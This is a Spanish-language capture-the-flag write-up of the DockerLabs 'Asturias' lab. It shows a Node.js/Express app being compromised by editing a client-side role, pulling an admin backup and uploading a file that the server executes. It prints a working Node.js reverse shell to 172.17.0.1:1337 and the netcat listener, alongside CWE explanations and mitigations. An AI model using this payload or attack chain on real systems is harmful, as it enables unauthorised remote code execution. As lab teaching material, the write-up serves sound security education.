October 23, 2026
DockerLabs Writeup — Asturias (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Asturias”.

By David Prieto Montero (a.k.a Pyth0nK1d)
10 min read
Este laboratorio está catalogado con la dificultad "Medio" y su autor es "El Pingüino de Mario".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Análisis de código fuente (Source Code Analysis), Common Weakness Enumeration (CWE), Control inadecuado en la generación de código (Improper Control of Generation of Code), Divulgación de información, Falta de autenticación para funciones críticas (Missing Authentication for Critical Function), Falta de autorización (Missing Authorization), Node.js, Subida de archivos con extensiones peligrosas sin restricciones (Unrestricted file upload with dangerous type), Seguridad API, Seguridad web
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Una cadena de debilidades comunes detectadas en una aplicación Node.js/Express permite escalar privilegios permitiendo realizar ejecución remota de código. Esto ofrece la posibilidad de ganar acceso inicial al sistema como el usuario
root. - Revisión del código fuente y documentación de una nueva debilidad común detectada que permite a usuarios anónimos acceder a la funcionalidad administrativa de backup directamente.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 3000 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 3000 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (root)
En este caso se detecta que hay un puerto abierto:
- Puerto 3000 (servicio HTTP, Node.js/Express)
Al revisar el puerto 3000, se detecta una página dedicada a viajes y actividades turísticas en el principado de Asturias.
URL -> http://172.17.0.2:3000URL -> http://172.17.0.2:3000
Tras escanear la web en busca de recursos se detectan varias funcionalidades, entre ellas una página de registro y de inicio de sesión, además de un apartado administrativo.
gobuster dir -u http://172.17.0.2:3000 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,html,txt,zip --exclude-length 6327gobuster dir -u http://172.17.0.2:3000 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,html,txt,zip --exclude-length 6327
Es posible registrar una nueva cuenta desde la página de registro accesible.
URL -> http://172.17.0.2:3000/registro.htmlURL -> http://172.17.0.2:3000/registro.html
Al crear la cuenta, la página redirige automáticamente al panel del usuario autenticado. En esta se muestran varias funcionalidades, entre las que se incluyen la consulta de reservas, consulta de facturas y revisión de la información del perfil.
URL -> http://172.17.0.2:3000/dashboard.htmlURL -> http://172.17.0.2:3000/dashboard.html
Revisando el código fuente se detecta un script que hace uso de una API para llamar a las operaciones de backend de la aplicación. Se detecta cómo se realiza la diferenciación entre usuario normal y usuario administrativo. Este consiste en un elemento almacenado en el local storage del navegador en formato JSON en texto plano a través de un campo "role".
En resumen, el local storage es un mecanismo de almacenamiento del navegador que permite a una página web guardar datos en el dispositivo del usuario de forma persistente, incluso después de cerrar el navegador.
Aunque resulta útil para conservar preferencias y otros datos, su uso para gestionar elementos relacionados con la autorización de cuentas, como los tokens de autenticación o de sesión, puede suponer un riesgo para la seguridad.
Esto se debe a que cualquier código JavaScript que se ejecute en el mismo origen puede acceder a esos datos, por lo que una vulnerabilidad de tipo Cross-Site Scripting (XSS) podría permitir a un atacante robarlos y utilizarlos para suplantar la identidad del usuario y acceder a su cuenta.
Por ello, se recomienda evitar almacenar credenciales o tokens sensibles en local storage y considerar alternativas como las cookies configuradas con los atributos HttpOnly, Secure y SameSite, que reducen determinados riesgos, aunque no eliminan todas las amenazas y deben complementarse con otras medidas de seguridad.
URL -> view-source:http://172.17.0.2:3000/js/app.jsURL -> view-source:http://172.17.0.2:3000/js/app.js
Revisando el local storage del navegador se puede comprobar la existencia de este elemento disponible tras generar la cuenta y la realización del inicio de sesión automático.
Como el elemento que parece utilizarse es este objeto JSON en lugar del token, al modificar el role de "user" a "admin" y recargar la página, se puede comprobar que se habilita un nuevo apartado administrativo.
Esto demuestra que la aplicación presenta la debilidad de falta de autorización (CWE-862: Missing Authorization).
Esta debilidad se produce cuando una aplicación no comprueba si un usuario tiene los permisos necesarios para acceder a un recurso o ejecutar una acción. Esto puede permitir que un atacante acceda a información confidencial, modifique datos o realice operaciones privilegiadas sin autorización, incluso si ha iniciado sesión correctamente. Para evitarlo, es fundamental verificar los permisos en el servidor en cada solicitud y aplicar controles de acceso basados en los roles y privilegios de cada usuario.
Tras acceder a esta nueva sección pulsando en "Administración", es posible acceder al panel administrativo con nuevas funcionalidades disponibles.
URL -> http://172.17.0.2:3000/admin.htmlURL -> http://172.17.0.2:3000/admin.html
Al pulsar en el apartado "Sistema", se puede comprobar que se muestra una funcionalidad de backup que permite obtener un archivo comprimido ".zip" con el contenido de la base de datos y el código fuente de la aplicación.
(pulsar en "Sistema")(pulsar en "Sistema")
Al pulsar en "Generar backup completo (.zip)" se genera y descarga automáticamente este ****backup, pudiendo así revisarlo más detenidamente.
(pulsar en "Generar backup completo (.zip)")(pulsar en "Generar backup completo (.zip)")
Tras investigar este archivo, se verifica que consiste en un archivo comprimido con el contenido y estado actual de la aplicación en uso. Al extraerlo se comprueba que se extrae toda la información prometida: base de datos y código fuente de toda la aplicación.
mkdir backup
mv asturias-viajes-backup-<RECORTADO>.zip backup/
cd backup
ls -al
file asturias-viajes-backup-<RECORTADO>.zip
unzip asturias-viajes-backup-<RECORTADO>.zipmkdir backup
mv asturias-viajes-backup-<RECORTADO>.zip backup/
cd backup
ls -al
file asturias-viajes-backup-<RECORTADO>.zip
unzip asturias-viajes-backup-<RECORTADO>.zip
Tras revisar el código fuente del backend, se detecta la posibilidad de subir de archivos sin restricciones en el apartado de galería. Esto lleva a una debilidad común presente en relación a carga de archivos de extensiones peligrosas sin restricciones (CWE-434: Unrestricted Upload of File with Dangerous Type).
Esta debilidad se produce cuando una aplicación permite subir archivos sin validar adecuadamente su tipo o contenido. Esto puede permitir que un atacante cargue archivos maliciosos que, si el servidor los ejecuta o procesa, podrían facilitar la ejecución de código no autorizado, comprometer información o afectar al funcionamiento del sistema. Para prevenirlo, es fundamental validar los archivos en el servidor, limitar las extensiones permitidas, comprobar su contenido y almacenar los archivos en ubicaciones donde no puedan ejecutarse directamente.
cat source/src/routes/gallery.jscat source/src/routes/gallery.js
Este escenario concretamente permite la subida de un archivo con MIME type controlado mediante una lista blanca pero extensión cualquiera, permitiendo así introducir código JavaScript a un directorio accesible que puede ser interpretado por el backend (Node.js).
Para reproducirlo, primero se genera una consola inversa escrita en Node.js.
// rev.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(1337, "172.17.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();// rev.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(1337, "172.17.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();Segundo, se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
A continuación se accede a la funcionalidad vulnerable que está presente en el apartado "Galería" de la página.
URL -> http://172.17.0.2:3000/galeria.htmlURL -> http://172.17.0.2:3000/galeria.html
Desde aquí, se hace la subida de la consola inversa, capturando la petición con Burp Suite.
Antes de redirigir la petición al servidor, hay que asegurarse de que el Content-Type enviado corresponda con uno de los aceptados por la aplicación para que el archivo subido sea aceptado.
Al pulsar en "Forward", se puede comprobar que el archivo se ha subido con éxito, indicándolo en la propia página.
URL -> http://172.17.0.2:3000/galeria.htmlURL -> http://172.17.0.2:3000/galeria.html
Revisando nuevamente el código fuente, la funcionalidad utilizada por la galería para ver el archivo original, permite la ejecución de código JavaScript si detecta que este contiene código válido para su ejecución. Esto es debido a una debilidad presente en esta funcionalidad que permite la inyección de código interpretable por el servidor (CWE-94: Improper Control of Generation of Code ('Code Injection')).
Esta debilidad se produce cuando una aplicación utiliza datos controlados por el usuario para generar código sin validarlos o neutralizarlos adecuadamente. Esto puede permitir que un atacante introduzca instrucciones maliciosas que alteren el comportamiento previsto de la aplicación y provoquen la ejecución de código no autorizado, con posibles consecuencias como el acceso a información confidencial o la modificación de datos. Para prevenirlo, es fundamental evitar la generación dinámica de código cuando sea posible, validar estrictamente las entradas y utilizar mecanismos seguros que impidan interpretar datos externos como instrucciones ejecutables.
cat source/src/routes/gallery.js
...
require(absolutePath); -> interpreta el archivo como un módulo JavaScript y si es compatible lo ejecutacat source/src/routes/gallery.js
...
require(absolutePath); -> interpreta el archivo como un módulo JavaScript y si es compatible lo ejecuta
Por ello, tras pulsar en el botón "Ver original" del archivo recientemente subido, se puede comprobar que este redirige automáticamente al contenido del archivo subido.
(pulsar en "Ver original" de la imagen subida a la galería)
URL -> http://172.17.0.2:3000/api/gallery/22/file
...
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(1337, "172.17.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();(pulsar en "Ver original" de la imagen subida a la galería)
URL -> http://172.17.0.2:3000/api/gallery/22/file
...
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(1337, "172.17.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Mientras que revisando el puerto previamente a la escucha, se puede comprobar que se obtiene acceso inicial al sistema como el usuario "root" directamente.
whoami
id
hostnamewhoami
id
hostname
En este punto, como ya se tiene acceso como "root" directamente, no es necesario realizar operaciones de escalada de privilegios, ya que ya se tienen los máximos privilegios sobre el sistema.
BONUS: Funcionalidad administrativa de backup accesible para usuarios anónimos
Analizando el código fuente de la aplicación, se detecta que el recurso "/backup" disponible de la API no comprueba que el usuario esté autenticado. Esto origina una debilidad presente en esta funcionalidad que permite el acceso a recursos críticos debido a ausencia de autenticación (CWE-306: Missing Authentication for Critical Function).
Esta debilidad se produce cuando una aplicación permite ejecutar operaciones sensibles sin verificar previamente la identidad del usuario. Esto puede permitir que un atacante acceda a funcionalidades privilegiadas, consulte o modifique información confidencial o realice acciones administrativas sin iniciar sesión. Para prevenirlo, es fundamental exigir autenticación en todas las operaciones que lo requieran, implementar mecanismos de autenticación centralizados y robustos, y verificar estas condiciones en el servidor para todos los puntos de acceso, incluidas las API y las rutas alternativas.
cat source/src/routes/admin.jscat source/src/routes/admin.js
Realizando una petición directamente a este recurso, se puede comprobar que permite realizar la generación y posterior descarga del archivo de ****backup.
cd ..
curl -s 'http://172.17.0.2:3000/api/admin/backup' > backup.zip
file backup.zip backup/asturias-viajes-backup-<RECORTADO>.zip
ls -al backup.zip backup/asturias-viajes-backup-<RECORTADO>.zipcd ..
curl -s 'http://172.17.0.2:3000/api/admin/backup' > backup.zip
file backup.zip backup/asturias-viajes-backup-<RECORTADO>.zip
ls -al backup.zip backup/asturias-viajes-backup-<RECORTADO>.zip
Además esto es fácilmente detectable por un usuario anónimo, debido a que conociendo la existencia de una API deducible a través de recursos públicos de la aplicación, es posible realizar un escaneo de recursos accesibles sobre esta.
gobuster dir -u http://172.17.0.2:3000/api -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt --exclude-length 6327
gobuster dir -u http://172.17.0.2:3000/api/admin -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt --exclude-length 53gobuster dir -u http://172.17.0.2:3000/api -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt --exclude-length 6327
gobuster dir -u http://172.17.0.2:3000/api/admin -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt --exclude-length 53
O incluso mediante descubrimiento de recursos accesibles específicos de una API se termina detectando su documentación también accesible y disponible por cualquiera.
gobuster dir -u http://172.17.0.2:3000 -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt --exclude-length 6327gobuster dir -u http://172.17.0.2:3000 -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt --exclude-length 6327
Esta expone todas las funcionalidades disponibles que aprovecha esta página, incluidas funcionalidades administrativas como la de backup.
URL -> http://172.17.0.2:3000/api-docs/URL -> http://172.17.0.2:3000/api-docs/
Adicionalmente, algo a tener en cuenta es que el recurso que permite la ejecución de código remoto ("/gallery/{id}/file") no parece estar documentado en este Swagger, ya que se puede comprobar que solo está presente la referencia a esta función sin más detalles.
Esto significa que sin acceso al código fuente habría sido mucho más difícil llegar a entender su funcionamiento y detectar finalmente esta debilidad explotable.
curl -s http://172.17.0.2:3000/openapi.json | jq | tail -n 5curl -s http://172.17.0.2:3000/openapi.json | jq | tail -n 5
Mitigaciones a aplicar
- Para evitar la presencia de debilidades conocidas en el código fuente de una aplicación, es fundamental aplicar buenas prácticas de desarrollo seguro durante todo el ciclo de vida del software, incluyendo la validación y sanitización de las entradas, la implementación de controles de autenticación y autorización en el servidor, la restricción de los tipos de archivos permitidos y el uso de mecanismos seguros para gestionar sesiones y datos sensibles. Asimismo, se recomienda evitar la ejecución dinámica de código, mantener las dependencias actualizadas, realizar revisiones de código y análisis de seguridad estáticos y dinámicos, y ejecutar pruebas periódicas para detectar y corregir vulnerabilidades antes de desplegar la aplicación en producción.
- Ajustarse al principio de privilegio mínimo y exponer servicios con cuentas del sistema dedicadas para este fin.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com